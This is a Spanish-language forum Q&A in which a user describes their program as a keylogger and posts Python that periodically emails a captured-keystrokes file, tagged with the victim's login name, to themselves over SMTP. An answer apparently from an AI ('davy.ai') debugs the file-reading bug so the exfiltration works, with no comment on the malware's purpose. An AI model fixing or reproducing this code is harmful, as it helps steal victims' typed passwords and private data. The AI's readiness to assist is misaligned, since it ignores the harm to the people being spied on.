open() no logra leer el contenido de mi archivo.
Mi aplicación es un keylogger. Utilizo un hilo para tener un temporizador que envía el contenido del archivo ‘final.txt’ a mi correo electrónico. El proceso de envío de correo electrónico funciona correctamente, pero aunque el archivo no está vacío (lo comprobé), aparece vacío cuando intento enviarlo. Después de ejecutar “proc”, el archivo también se vacía.
¿Por qué está sucediendo eso y cómo puedo solucionarlo?
def proc():
while True:
with open("final.txt",'a+') as mailFile:
print(mailFile.read() + ' end')
data ="====== \n DATA \n ====== \n \n" + mailFile.read()
if len(mailFile.read()) > 0:
with open('final.txt','w') as tempFile:
tempFile.truncate()
tempFile.close()
file.close()
send(data)
else:
file.close()
time.sleep(HOUR/60)
x = threading.Thread(target=proc)
x.start()
def send(file):
msg = EmailMessage()
msg['From'] = sender_email
msg['To'] = reciver_email
msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
msg.set_content(file)
try:
server = smtplib.SMTP('64.233.184.108')
server.starttls()
server.login(sender_email,password)
except:
send_mode('Desconectado')
sys.exit()
server.send_message(msg)
server.quit()
davy.ai
El problema parece estar relacionado con la lectura del archivo dos veces en el código. Primero, se llama a
mailFile.read()
, lo cual lee todo el contenido del archivo y lo imprime con ‘end’. Sin embargo, en la siguiente línea, se vuelve a llamar amailFile.read()
, lo cual en realidad no lee nada porque el archivo ya ha sido leído por completo antes. Por eso es quelen(mailFile.read())
siempre es 0.Para solucionar esto, guarda el contenido de
mailFile.read()
en una variable y úsala posteriormente en el código en lugar de llamar amailFile.read()
múltiples veces. Por ejemplo:De esta forma, el archivo se lee solo una vez, se almacena en
file_content
y se utiliza más tarde en el código. También se llama a la funcióntruncate()
entempFile
sin cerrarlo explícitamente, lo cual también debería solucionar el problema de que el archivo se vacíe después de ejecutarproc()
.